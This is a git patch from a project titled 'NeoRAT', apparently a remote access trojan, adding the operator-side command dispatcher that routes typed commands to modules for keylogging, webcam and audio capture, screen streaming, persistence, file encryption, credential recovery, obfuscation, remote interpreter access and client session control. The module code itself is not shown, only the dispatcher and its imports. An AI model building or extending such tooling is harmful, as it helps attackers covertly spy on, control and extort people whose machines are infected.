From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- domestic/parse/command_validation.py | 98 ++++++++++++++++++++++++++++++++++++ 1 file changed, 98 insertions(+) create mode 100644 domestic/parse/command_validation.py (limited to 'domestic/parse/command_validation.py') diff --git a/domestic/parse/command_validation.py b/domestic/parse/command_validation.py new file mode 100644 index 0000000..4669fa8 --- /dev/null +++ b/domestic/parse/command_validation.py @@ -0,0 +1,98 @@ +from domestic.session.server_handling.persistence import * +from domestic.session.server_handling.interpreter import * +from domestic.session.server_handling.messagebox import * +from domestic.session.server_handling.keylogger import * +from domestic.session.server_handling.keystroke import * +from domestic.session.server_handling.obfuscate import * +from domestic.session.server_handling.download import * +from domestic.session.server_handling.encrypt import * +from domestic.session.server_handling.recover import * +from domestic.session.server_handling.website import * +from domestic.session.server_handling.upload import * +from domestic.session.server_handling.system import * +from domestic.session.server_handling.image import * +from domestic.session.server_handling.cd import * +from domestic.session.session_message import * +from domestic.globally.exit_program import * +from domestic.globally.clear_screen import * +from domestic.session.enter_session import * +from domestic.session.exit_session import * +from domestic.shell.list_clients import * +from domestic.globally.get_help import * +from domestic.globally.sockets import * +from domestic.globally.options import * +from domestic.modules.stream import * +from domestic.modules.audio import * +from domestic.modules.talk import * +from domestic.global_state import * +from domestic.shell.server import * +from domestic.shell.delete import * +from domestic.shell.stdout import * +from domestic.modules.cam import * + + +def command_validation(message): + low_message = message['message'].lower() + + if low_message == 'help': + get_help() + elif low_message == 'exit': + exit_program() + elif low_message == 'clear': + clear_screen() + elif low_message == 'sockets': + sockets() + elif low_message == 'options': + options(message) + elif low_message == 'stream': + stream(message) + elif low_message == 'cam': + cam(message) + elif low_message == 'audio': + audio(message) + elif low_message == 'talk': + talk(message) + elif state['session']['active']: + if low_message == 'break': + exit_session() + elif low_message == 'cd': + cd(message) + elif low_message == 'image': + image(message) + elif low_message == 'upload': + upload(message) + elif low_message == 'download': + download(message) + elif low_message == 'encrypt': + encrypt(message) + elif low_message == 'interpreter': + interpreter(message) + elif low_message == 'keylogger': + keylogger(message) + elif low_message == 'keystroke': + keystroke(message) + elif low_message == 'persistence': + persistence(message) + elif low_message == 'system': + system(message) + elif low_message == 'recover': + recover(message) + elif low_message == 'obfuscate': + obfuscate(message) + elif low_message == 'website': + website(message) + elif low_message == 'messagebox': + messagebox(message) + else: + session_message(message) + else: + if low_message == 'list': + list_clients() + elif low_message == 'server': + server(message) + elif low_message == 'delete': + delete(message) + elif low_message == 'session': + enter_session(message) + else: + stdout(low_message, message) \ No newline at end of file -- cgit v1.2.3